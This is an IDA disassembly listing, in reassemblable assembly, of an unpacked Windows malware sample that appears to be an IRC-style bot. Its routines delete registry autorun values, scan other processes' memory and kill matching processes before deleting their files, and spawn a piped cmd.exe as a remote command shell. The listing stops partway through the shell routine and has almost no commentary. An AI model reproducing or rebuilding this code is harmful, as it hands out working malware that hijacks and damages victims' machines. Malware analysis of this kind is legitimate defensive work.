;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 237B31F04EDB1B0A556D4ACC5E67F22B
; File Name : u:\work\237b31f04edb1b0a556d4acc5e67f22b_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00016000 ( 90112.)
; Section size in file : 00016000 ( 90112.)
; Offset to raw data for section: 00001000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_401146+31p
; sub_401146+43p ...
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = byte ptr -260h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = byte ptr -218h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 268h
and [ebp+var_8], 0
and [ebp+var_4], 0
jmp short loc_40101A
; ---------------------------------------------------------------------------
loc_401013: ; CODE XREF: sub_401000+13Cj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40101A: ; CODE XREF: sub_401000+11j
mov eax, [ebp+var_4]
cmp off_418000[eax*4], 0
jz loc_401141
mov eax, [ebp+var_4]
push off_418000[eax*4]
lea eax, [ebp+var_260]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_260]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_110]
push eax
push 3
push 0
lea eax, [ebp+var_260]
push eax
push [ebp+arg_0]
call ds:dword_417008 ; RegOpenKeyExA
and [ebp+var_220], 0
jmp short loc_401081
; ---------------------------------------------------------------------------
loc_401074: ; CODE XREF: sub_401000:loc_40112Bj
mov eax, [ebp+var_220]
inc eax
mov [ebp+var_220], eax
loc_401081: ; CODE XREF: sub_401000+72j
mov [ebp+var_21C], 104h
mov [ebp+var_224], 104h
lea eax, [ebp+var_224]
push eax
lea eax, [ebp+var_10C]
push eax
lea eax, [ebp+var_114]
push eax
push 0
lea eax, [ebp+var_21C]
push eax
lea eax, [ebp+var_218]
push eax
push [ebp+var_220]
push [ebp+var_110]
call ds:dword_417000 ; RegEnumValueA
mov [ebp+var_264], eax
cmp [ebp+var_264], 0
jz short loc_4010DD
jmp short loc_401130
; ---------------------------------------------------------------------------
loc_4010DD: ; CODE XREF: sub_401000+D9j
cmp [ebp+var_114], 1
jnz short loc_40112B
push [ebp+arg_4]
push [ebp+var_224]
lea eax, [ebp+var_10C]
push eax
call sub_407ACA
add esp, 0Ch
mov [ebp+var_268], eax
cmp [ebp+var_268], 0
jz short loc_40112B
lea eax, [ebp+var_218]
push eax
push [ebp+var_110]
call ds:dword_417004 ; RegDeleteValueA
test eax, eax
jnz short loc_40112B
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_40112B: ; CODE XREF: sub_401000+E4j
; sub_401000+10Bj ...
jmp loc_401074
; ---------------------------------------------------------------------------
loc_401130: ; CODE XREF: sub_401000+DBj
push [ebp+var_110]
call ds:dword_417028 ; RegCloseKey
jmp loc_401013
; ---------------------------------------------------------------------------
loc_401141: ; CODE XREF: sub_401000+25j
mov eax, [ebp+var_8]
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401146 proc near ; CODE XREF: sub_401244+459p
; sub_40A9CF+A72p
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push 80h
push [ebp+arg_0]
call ds:dword_4170A8 ; SetFileAttributesA
test eax, eax
jnz short loc_401166
jmp locret_401242
; ---------------------------------------------------------------------------
loc_401166: ; CODE XREF: sub_401146+19j
push [ebp+arg_0]
call ds:dword_4170AC ; DeleteFileA
push [ebp+arg_0]
push 80000001h
call sub_401000
pop ecx
pop ecx
mov [ebp+var_4], eax
push [ebp+arg_0]
push 80000002h
call sub_401000
pop ecx
pop ecx
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jnz locret_401242
push 104h
push [ebp+arg_0]
lea eax, [ebp+var_108]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_108]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_10C], eax
jmp short loc_4011DB
; ---------------------------------------------------------------------------
loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj
mov eax, [ebp+var_10C]
dec eax
mov [ebp+var_10C], eax
loc_4011DB: ; CODE XREF: sub_401146+86j
cmp [ebp+var_10C], 0
jz short loc_40121C
mov eax, [ebp+arg_0]
add eax, [ebp+var_10C]
movsx eax, byte ptr [eax-1]
cmp eax, 5Ch
jnz short loc_40121A
push 104h
mov eax, [ebp+var_10C]
lea eax, [ebp+eax+var_108]
push eax
lea eax, [ebp+var_108]
push eax
call sub_407A56
add esp, 0Ch
jmp short loc_40121C
; ---------------------------------------------------------------------------
loc_40121A: ; CODE XREF: sub_401146+AEj
jmp short loc_4011CE
; ---------------------------------------------------------------------------
loc_40121C: ; CODE XREF: sub_401146+9Cj
; sub_401146+D2j
lea eax, [ebp+var_108]
push eax
push 80000001h
call sub_401000
pop ecx
pop ecx
lea eax, [ebp+var_108]
push eax
push 80000002h
call sub_401000
pop ecx
pop ecx
locret_401242: ; CODE XREF: sub_401146+1Bj
; sub_401146+56j
leave
retn
sub_401146 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401244 proc near ; DATA XREF: sub_4017AA+9Do
var_3E8 = dword ptr -3E8h
var_3E4 = byte ptr -3E4h
var_3E0 = dword ptr -3E0h
var_3DC = dword ptr -3DCh
var_3D8 = dword ptr -3D8h
var_3D4 = dword ptr -3D4h
var_3D0 = dword ptr -3D0h
var_3CC = byte ptr -3CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = byte ptr -2A8h
var_2A7 = dword ptr -2A7h
var_2A3 = byte ptr -2A3h
var_1A3 = byte ptr -1A3h
var_B = byte ptr -0Bh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3E8h
push esi
push edi
push 2ACh
push [ebp+arg_0]
lea eax, [ebp+var_2AC]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
movzx eax, [ebp+var_2A8]
test eax, eax
jz short loc_40129D
lea eax, [ebp+var_2A3]
push eax
mov eax, [ebp+var_2AC]
push dword ptr [eax]
push offset dword_418144
lea eax, [ebp+var_1A3]
push eax
call sub_40D53F
add esp, 10h
loc_40129D: ; CODE XREF: sub_401244+34j
call sub_406041
mov [ebp+var_2B4], eax
cmp [ebp+var_2B4], 0
jnz short loc_4012C4
push [ebp+var_2AC]
call sub_409763
pop ecx
xor eax, eax
jmp loc_4017A4
; ---------------------------------------------------------------------------
loc_4012C4: ; CODE XREF: sub_401244+6Bj
push 10000h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_2B8], eax
and [ebp+var_2BC], 0
and [ebp+var_2B0], 0
jmp short loc_4012F2
; ---------------------------------------------------------------------------
loc_4012E5: ; CODE XREF: sub_401244+E2j
; sub_401244+12Bj ...
mov eax, [ebp+var_2B0]
inc eax
mov [ebp+var_2B0], eax
loc_4012F2: ; CODE XREF: sub_401244+9Fj
mov eax, [ebp+var_2B4]
mov ecx, [ebp+var_2B0]
cmp ecx, [eax]
jge loc_401710
mov esi, [ebp+var_2B0]
imul esi, 114h
mov eax, [ebp+var_2B4]
mov edi, [eax+4]
call ds:dword_4170E8 ; GetCurrentProcessId
cmp [edi+esi], eax
jnz short loc_401328
jmp short loc_4012E5
; ---------------------------------------------------------------------------
loc_401328: ; CODE XREF: sub_401244+E0j
push 104h
lea eax, [ebp+var_3CC]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
lea eax, [ebp+var_3CC]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_401374
jmp loc_4012E5
; ---------------------------------------------------------------------------
loc_401374: ; CODE XREF: sub_401244+129j
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
push dword ptr [ecx+eax]
push 0
movzx eax, [ebp+var_2A8]
neg eax
sbb eax, eax
add eax, 11h
push eax
call ds:dword_417094 ; OpenProcess
mov [ebp+var_2C4], eax
cmp [ebp+var_2C4], 0
jnz short loc_4013B7
jmp loc_4012E5
; ---------------------------------------------------------------------------
loc_4013B7: ; CODE XREF: sub_401244+16Cj
and [ebp+var_2C0], 0
and [ebp+var_2C8], 0
loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
mov eax, [ecx+eax+8]
sub eax, [ebp+var_2C0]
cmp eax, 10000h
jbe short loc_4013F7
mov [ebp+var_3E8], 10000h
jmp short loc_40141C
; ---------------------------------------------------------------------------
loc_4013F7: ; CODE XREF: sub_401244+1A5j
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
mov eax, [ecx+eax+8]
sub eax, [ebp+var_2C0]
mov [ebp+var_3E8], eax
loc_40141C: ; CODE XREF: sub_401244+1B1j
mov eax, [ebp+var_3E8]
mov [ebp+var_3D0], eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_3D0]
push [ebp+var_2B8]
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
mov eax, [ecx+eax+4]
add eax, [ebp+var_2C0]
push eax
push [ebp+var_2C4]
call ds:dword_417098 ; ReadProcessMemory
mov [ebp+var_3D4], eax
cmp [ebp+var_3D4], 0
jz loc_4016C5
cmp [ebp+var_2C8], 0
jz loc_4016C5
and [ebp+var_3D8], 0
and [ebp+var_3DC], 0
jmp short loc_4014A4
; ---------------------------------------------------------------------------
loc_401497: ; CODE XREF: sub_401244:loc_4015DBj
mov eax, [ebp+var_3DC]
inc eax
mov [ebp+var_3DC], eax
loc_4014A4: ; CODE XREF: sub_401244+251j
mov eax, [ebp+var_2C8]
sub eax, [ebp+var_2A7]
cmp [ebp+var_3DC], eax
ja loc_4015E0
mov eax, [ebp+var_2B8]
add eax, [ebp+var_3DC]
movsx eax, byte ptr [eax]
movsx ecx, [ebp+var_2A3]
cmp eax, ecx
jz short loc_401514
mov eax, [ebp+var_2B8]
add eax, [ebp+var_3DC]
movsx eax, byte ptr [eax]
movsx ecx, [ebp+var_2A3]
add ecx, 20h
cmp eax, ecx
jz short loc_401514
mov eax, [ebp+var_2B8]
add eax, [ebp+var_3DC]
movsx eax, byte ptr [eax]
movsx ecx, [ebp+var_2A3]
sub ecx, 20h
cmp eax, ecx
jnz loc_4015DB
loc_401514: ; CODE XREF: sub_401244+290j
; sub_401244+2ADj
mov [ebp+var_3E0], 1
jmp short loc_40152D
; ---------------------------------------------------------------------------
loc_401520: ; CODE XREF: sub_401244:loc_4015D6j
mov eax, [ebp+var_3E0]
inc eax
mov [ebp+var_3E0], eax
loc_40152D: ; CODE XREF: sub_401244+2DAj
mov eax, [ebp+var_3E0]
movsx eax, [ebp+eax+var_2A3]
test eax, eax
jnz short loc_401556
mov eax, [ebp+var_2B8]
add eax, [ebp+var_3DC]
mov [ebp+var_3D8], eax
jmp loc_40179F
; ---------------------------------------------------------------------------
loc_401556: ; CODE XREF: sub_401244+2F9j
mov eax, [ebp+var_3E0]
movsx eax, [ebp+eax+var_2A3]
mov ecx, [ebp+var_3DC]
add ecx, [ebp+var_3E0]
mov edx, [ebp+var_2B8]
movsx ecx, byte ptr [edx+ecx]
cmp eax, ecx
jz short loc_4015D6
mov eax, [ebp+var_3E0]
movsx eax, [ebp+eax+var_2A3]
mov ecx, [ebp+var_3DC]
add ecx, [ebp+var_3E0]
mov edx, [ebp+var_2B8]
movsx ecx, byte ptr [edx+ecx]
add ecx, 20h
cmp eax, ecx
jz short loc_4015D6
mov eax, [ebp+var_3E0]
movsx eax, [ebp+eax+var_2A3]
mov ecx, [ebp+var_3DC]
add ecx, [ebp+var_3E0]
mov edx, [ebp+var_2B8]
movsx ecx, byte ptr [edx+ecx]
sub ecx, 20h
cmp eax, ecx
jz short loc_4015D6
jmp short loc_4015DB
; ---------------------------------------------------------------------------
loc_4015D6: ; CODE XREF: sub_401244+338j
; sub_401244+363j ...
jmp loc_401520
; ---------------------------------------------------------------------------
loc_4015DB: ; CODE XREF: sub_401244+2CAj
; sub_401244+390j
jmp loc_401497
; ---------------------------------------------------------------------------
loc_4015E0: ; CODE XREF: sub_401244+272j
; sub_401244:loc_40179Fj
cmp [ebp+var_3D8], 0
jz loc_4016C5
mov eax, [ebp+var_2BC]
inc eax
mov [ebp+var_2BC], eax
movzx eax, [ebp+var_2A8]
test eax, eax
jz short loc_401675
push 3E8h
call ds:dword_41709C ; Sleep
mov al, [ebp+var_B]
mov [ebp+var_3E4], al
and [ebp+var_B], 0
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
push dword ptr [ecx+eax]
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
lea eax, [ebp+var_2A3]
push eax
push offset dword_41811C
lea eax, [ebp+var_1A3]
push eax
call sub_40D53F
add esp, 14h
mov al, [ebp+var_3E4]
mov [ebp+var_B], al
jmp short loc_4016A3
; ---------------------------------------------------------------------------
loc_401675: ; CODE XREF: sub_401244+3BFj
push 0
push [ebp+var_2C4]
call ds:dword_4170A0 ; TerminateProcess
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
call sub_401146
pop ecx
loc_4016A3: ; CODE XREF: sub_401244+42Fj
mov eax, [ebp+var_2AC]
cmp dword ptr [eax+4], 0
jz short loc_4016C0
push [ebp+var_2C4]
call ds:dword_4170A4 ; CloseHandle
jmp loc_40179A
; ---------------------------------------------------------------------------
loc_4016C0: ; CODE XREF: sub_401244+469j
jmp loc_401795
; ---------------------------------------------------------------------------
loc_4016C5: ; CODE XREF: sub_401244+230j
; sub_401244+23Dj ...
mov eax, [ebp+var_2C0]
add eax, [ebp+var_3D0]
mov [ebp+var_2C0], eax
mov eax, [ebp+var_2B0]
imul eax, 114h
mov ecx, [ebp+var_2B4]
mov ecx, [ecx+4]
mov edx, [ebp+var_2C0]
cmp edx, [ecx+eax+8]
jnz short loc_4016FA
jmp short loc_4016FF
; ---------------------------------------------------------------------------
loc_4016FA: ; CODE XREF: sub_401244+4B2j
jmp loc_4013C5
; ---------------------------------------------------------------------------
loc_4016FF: ; CODE XREF: sub_401244+4B4j
; sub_401244:loc_401795j
push [ebp+var_2C4]
call ds:dword_4170A4 ; CloseHandle
jmp loc_4012E5
; ---------------------------------------------------------------------------
loc_401710: ; CODE XREF: sub_401244+BCj
; sub_401244:loc_40179Aj
push [ebp+var_2B4]
call sub_40636E
pop ecx
push [ebp+var_2B8]
call sub_416B4C ; free
pop ecx
movzx eax, [ebp+var_2A8]
test eax, eax
jz short loc_401785
push 3E8h
call ds:dword_41709C ; Sleep
cmp [ebp+var_2BC], 0
jnz short loc_401764
lea eax, [ebp+var_2A3]
push eax
push offset dword_4180F8
lea eax, [ebp+var_1A3]
push eax
call sub_40D53F
add esp, 0Ch
jmp short loc_401785
; ---------------------------------------------------------------------------
loc_401764: ; CODE XREF: sub_401244+501j
lea eax, [ebp+var_2A3]
push eax
push [ebp+var_2BC]
push offset dword_4180CC
lea eax, [ebp+var_1A3]
push eax
call sub_40D53F
add esp, 10h
loc_401785: ; CODE XREF: sub_401244+4EDj
; sub_401244+51Ej
push [ebp+var_2AC]
call sub_409763
pop ecx
xor eax, eax
jmp short loc_4017A4
; ---------------------------------------------------------------------------
loc_401795: ; CODE XREF: sub_401244:loc_4016C0j
jmp loc_4016FF
; ---------------------------------------------------------------------------
loc_40179A: ; CODE XREF: sub_401244+477j
jmp loc_401710
; ---------------------------------------------------------------------------
loc_40179F: ; CODE XREF: sub_401244+30Dj
jmp loc_4015E0
; ---------------------------------------------------------------------------
loc_4017A4: ; CODE XREF: sub_401244+7Bj
; sub_401244+54Fj
pop edi
pop esi
leave
retn 4
sub_401244 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p
; sub_40A9CF+AD2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
jz short loc_4017C2
push [ebp+arg_4]
call sub_416B40 ; strlen
pop ecx
test eax, eax
jnz short loc_4017C7
loc_4017C2: ; CODE XREF: sub_4017AA+9j
jmp locret_401854
; ---------------------------------------------------------------------------
loc_4017C7: ; CODE XREF: sub_4017AA+16j
push 2ACh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4017DD
jmp short locret_401854
; ---------------------------------------------------------------------------
loc_4017DD: ; CODE XREF: sub_4017AA+2Fj
mov eax, [ebp+var_4]
mov cl, [ebp+arg_8]
mov [eax+4], cl
push [ebp+arg_4]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_4]
mov [ecx+5], eax
push 100h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 9
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 109h
push eax
call sub_405F67
pop ecx
pop ecx
movzx eax, [ebp+arg_8]
test eax, eax
jz short loc_401830
mov [ebp+var_8], offset aListing ; "Listing"
jmp short loc_401837
; ---------------------------------------------------------------------------
loc_401830: ; CODE XREF: sub_4017AA+7Bj
mov [ebp+var_8], offset aKilling ; "Killing"
loc_401837: ; CODE XREF: sub_4017AA+84j
push [ebp+arg_4]
push [ebp+var_8]
push offset dword_418174
push 0
push [ebp+var_4]
push offset sub_401244
call sub_4095A4
add esp, 18h
locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j
; sub_4017AA+31j
leave
retn
sub_4017AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401856 proc near ; CODE XREF: sub_401981+A8p
; sub_401981+E1p ...
push ebp
mov ebp, esp
cmp dword_41DE24, 0FFFFFFFFh
jz short loc_40186E
push dword_41DE24
call ds:dword_4170A4 ; CloseHandle
loc_40186E: ; CODE XREF: sub_401856+Aj
cmp dword_41DE18, 0FFFFFFFFh
jz short loc_401883
push dword_41DE18
call ds:dword_4170A4 ; CloseHandle
loc_401883: ; CODE XREF: sub_401856+1Fj
cmp dword_41DE1C, 0FFFFFFFFh
jz short loc_401898
push dword_41DE1C
call ds:dword_4170A4 ; CloseHandle
loc_401898: ; CODE XREF: sub_401856+34j
cmp dword_41DE20, 0FFFFFFFFh
jz short loc_4018AD
push dword_41DE20
call ds:dword_4170A4 ; CloseHandle
loc_4018AD: ; CODE XREF: sub_401856+49j
pop ebp
retn
sub_401856 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018AF proc near ; CODE XREF: sub_401981+28Ap
; sub_401981+395p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 200h
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+189h]
test eax, eax
jnz short loc_4018D4
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Dh]
test eax, eax
jz short loc_401922
loc_4018D4: ; CODE XREF: sub_4018AF+15j
; sub_4018AF:loc_401920j
push 32h
call ds:dword_41709C ; Sleep
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+189h]
test eax, eax
jz short loc_4018FE
call sub_416B64 ; clock
sub eax, dword_41DE2C
cmp eax, 1F4h
jb short loc_4018FE
jmp short loc_401922
; ---------------------------------------------------------------------------
loc_4018FE: ; CODE XREF: sub_4018AF+39j
; sub_4018AF+4Bj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Dh]
test eax, eax
jz short loc_401920
call sub_416B64 ; clock
sub eax, dword_41DE2C
cmp eax, 0FAh
jb short loc_401920
jmp short loc_401922
; ---------------------------------------------------------------------------
loc_401920: ; CODE XREF: sub_4018AF+5Bj
; sub_4018AF+6Dj
jmp short loc_4018D4
; ---------------------------------------------------------------------------
loc_401922: ; CODE XREF: sub_4018AF+23j
; sub_4018AF+4Dj ...
call sub_416B64 ; clock
mov dword_41DE2C, eax
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 0Ah
jz short loc_401942
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 0Dh
jnz short loc_401957
loc_401942: ; CODE XREF: sub_4018AF+86j
push offset dword_4181A4
lea eax, [ebp+var_200]
push eax
call sub_416B5E ; sprintf
pop ecx
pop ecx
jmp short loc_40196E
; ---------------------------------------------------------------------------
loc_401957: ; CODE XREF: sub_4018AF+91j
push 200h
push [ebp+arg_4]
lea eax, [ebp+var_200]
push eax
call sub_407A56
add esp, 0Ch
loc_40196E: ; CODE XREF: sub_4018AF+A6j
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_40D53F
pop ecx
pop ecx
leave
retn
sub_4018AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401981 proc near ; DATA XREF: sub_401D6E+88o
var_730 = dword ptr -730h
var_72C = dword ptr -72Ch
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_714 = dword ptr -714h
var_510 = byte ptr -510h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_360 = dword ptr -360h
var_334 = dword ptr -334h
var_330 = word ptr -330h
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = byte ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = byte ptr -30Ch
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 730h
push 3A7h
push [ebp+arg_0]
lea eax, [ebp+var_714]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
call sub_416B64 ; clock
sub eax, 1F4h
mov dword_41DE2C, eax
push 0
lea eax, [ebp+var_30C]
push eax
push 104h
push 0
push offset aCmd_exe ; "cmd.exe"
push 0
call ds:dword_41706C ; SearchPathA
test eax, eax
jnz short loc_4019ED
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
jmp locret_401D35
; ---------------------------------------------------------------------------
loc_4019ED: ; CODE XREF: sub_401981+57j
mov [ebp+var_318], 0Ch
mov [ebp+var_310], 1
and [ebp+var_314], 0
push 0
lea eax, [ebp+var_318]
push eax
lea eax, [ebp+var_368]
push eax
lea eax, [ebp+var_364]
push eax
call ds:dword_417070 ; CreatePipe
test eax, eax
jnz short loc_401A41
call sub_401856
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
jmp locret_401D35
; ---------------------------------------------------------------------------
loc_401A41: ; CODE XREF: sub_401981+A6j
push 0
lea eax, [ebp+var_318]
push eax
lea eax, [ebp+var_36C]
push eax
lea eax, [ebp+var_728]
push eax
call ds:dword_417070 ; CreatePipe
test eax, eax
jnz short loc_401A7A
call sub_401856
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
jmp locret_401D35
; ---------------------------------------------------------------------------
loc_401A7A: ; CODE XREF: sub_401981+DFj
push 3
push 0
push 0
push offset dword_41DE20
call ds:dword_417074 ; GetCurrentProcess
push eax
push [ebp+var_36C]
call ds:dword_417074 ; GetCurrentProcess
push eax
call ds:dword_4170F0 ; DuplicateHandle
test eax, eax
jnz short loc_401ABB
call sub_401856
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
jmp locret_401D35
; ---------------------------------------------------------------------------
loc_401ABB: ; CODE XREF: sub_401981+120j
push 10h
push 0
lea eax, [ebp+var_724]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push 44h
push 0
lea eax, [ebp+var_360]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_360], 44h
mov [ebp+var_334], 101h
and [ebp+var_330], 0
mov eax, [ebp+var_728]
mov [ebp+var_328], eax
mov eax, [ebp+var_368]
mov [ebp+var_324], eax
mov eax, [ebp+var_368]
mov [ebp+var_320], eax
lea eax, [ebp+var_724]
push eax
lea eax, [ebp+var_360]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push offset byte_41DE30
lea eax, [ebp+var_30C]
push eax
call ds:dword_41707C ; CreateProcessA
test eax, eax
jnz short loc_401B69
call sub_401856
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
jmp locret_401D35
; ---------------------------------------------------------------------------
loc_401B69: ; CODE XREF: sub_401981+1CEj
push [ebp+var_728]
call ds:dword_4170A4 ; CloseHandle
mov eax, [ebp+var_364]
mov dword_41DE24, eax
mov eax, [ebp+var_36C]
mov dword_41DE18, eax
mov eax, [ebp+var_724]
mov dword_41DE1C, eax
push [ebp+var_720]
call ds:dword_4170A4 ; CloseHandle
and [ebp+var_4], 0
and [ebp+var_208], 0
loc_401BAD: ; CODE XREF: sub_401981+2E9j
; sub_401981+39Cj
mov eax, [ebp+var_714]
cmp dword ptr [eax+4], 0
jz short loc_401BBE
jmp loc_401D22
; ---------------------------------------------------------------------------
loc_401BBE: ; CODE XREF: sub_401981+236j
and [ebp+var_208], 0
push 200h
push 0
lea eax, [ebp+var_204]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push 0
push 0
lea eax, [ebp+var_4]
push eax
push 200h
lea eax, [ebp+var_204]
push eax
push dword_41DE24
call ds:dword_417080 ; PeekNamedPipe
test eax, eax
jnz short loc_401C17
push offset aCouldNotReadDa ; "Could not read data from process."
lea eax, [ebp+var_510]
push eax
call sub_4018AF
pop ecx
pop ecx
jmp loc_401D22
; ---------------------------------------------------------------------------
loc_401C17: ; CODE XREF: sub_401981+27Cj
cmp [ebp+var_4], 0
jnz short loc_401C6F
mov [ebp+var_730], 103h
lea eax, [ebp+var_730]
push eax
push dword_41DE1C
call ds:dword_417084 ; GetExitCodeProcess
test eax, eax
jz short loc_401C62
cmp [ebp+var_730], 103h
jz short loc_401C62
push offset aCmd_exeProcess ; "Cmd.exe process has terminated."
lea eax, [ebp+var_510]
push eax
call sub_40D53F
pop ecx
pop ecx
jmp loc_401D22
; ---------------------------------------------------------------------------
loc_401C62: ; CODE XREF: sub_401981+2BBj
; sub_401981+2C7j
push 0Ah
call ds:dword_41709C ; Sleep
jmp loc_401BAD
; ---------------------------------------------------------------------------
loc_401C6F: ; CODE XREF: sub_401981+29Aj
and [ebp+var_72C], 0
jmp short loc_401C85
; ---------------------------------------------------------------------------
loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj
mov eax, [ebp+var_72C]
inc eax
mov [ebp+var_72C], eax
loc_401C85: ; CODE XREF: sub_401981+2F5j
mov eax, [ebp+var_72C]
cmp eax, [ebp+var_4]
jnb short loc_401CB1
mov eax, [ebp+var_72C]
movsx eax, [ebp+eax+var_204]
cmp eax, 0Ah
jnz short loc_401CAF
mov [ebp+var_208], 1
jmp short loc_401CB1
; ---------------------------------------------------------------------------
loc_401CAF: ; CODE XREF: sub_401981+320j
jmp short loc_401C78
; ---------------------------------------------------------------------------
loc_401CB1: ; CODE XREF: sub_401981+30Dj
; sub_401981+32Cj
cmp [ebp+var_208], 0
jz short loc_401CC6
mov eax, [ebp+var_72C]
inc eax
mov [ebp+var_4], eax
jmp short loc_401CCD
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401981+337j
mov [ebp+var_4], 200h
loc_401CCD: ; CODE XREF: sub_401981+343j
push 200h
push 0
lea eax, [ebp+var_204]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push 0
